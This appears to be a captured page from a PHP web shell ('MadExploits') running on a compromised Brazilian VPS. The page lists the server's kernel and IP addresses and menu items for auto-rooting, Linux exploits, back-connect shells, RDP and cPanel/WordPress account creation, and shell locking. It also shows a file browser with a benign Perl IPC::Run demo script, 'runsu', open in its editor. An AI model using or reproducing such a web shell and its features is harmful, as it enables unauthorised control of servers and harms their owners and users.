Linux vps-4302913.novaexata.com.br 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.14
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-IPC-Run-0.92 /
eg /
[ HOME SHELL ]
Name
Size
Permission
Action
factorial
1.53
KB
-rw-r--r--
factorial_pipe
861
B
-rw-r--r--
factorial_scalar
780
B
-rw-r--r--
run_daemon
338
B
-rw-r--r--
runsh
1.12
KB
-rw-r--r--
runsu
971
B
-rw-r--r--
synopsis_scripting
604
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : runsu
#!/usr/bin/perl -w ## Demonstration of chatting with a bash shell. use strict ; use IPC::Run qw( start pump finish timeout ) ; $IPC::Run::debug = 10 ; my ( $in, $out ) ; die "usage: runsu <user> <password>" unless @ARGV ; my $user = @ARGV > 1 ? shift : $ENV{USER} || $ENV{USERNAME} ; my $passwd = shift ; my $h = start( [qw(su - ), $user], '<pty<', \$in, '>pty>', \$out, timeout( 5 ), ) ; pump $h until $out =~ /^password/im ; $in = "$passwd\n" ; ## Assume atomic prompt writes ## and that a non-word is the last char in the prompt. $out = '' ; pump $h until $out =~ /([^\r\n\w]\s*)(?!\n)$/ ; my $prompt = $1 ; print "Detected prompt string = '$prompt'\n" ; $prompt = quotemeta $prompt ; for ( qw( ls ps fOoBaR pwd ) ) { $in = $_ . "\n" ; $out = '' ; $h->timeout( 5 ) ; # restart the timout pump $h until $out =~ s/\A((?s:.*))(?=^.*?$prompt(?!\n)\Z)//m ; print map { "su: $_\n" } split( /\n/m, $1 ) ; } $in = "exit\n" ; finish $h ;
Close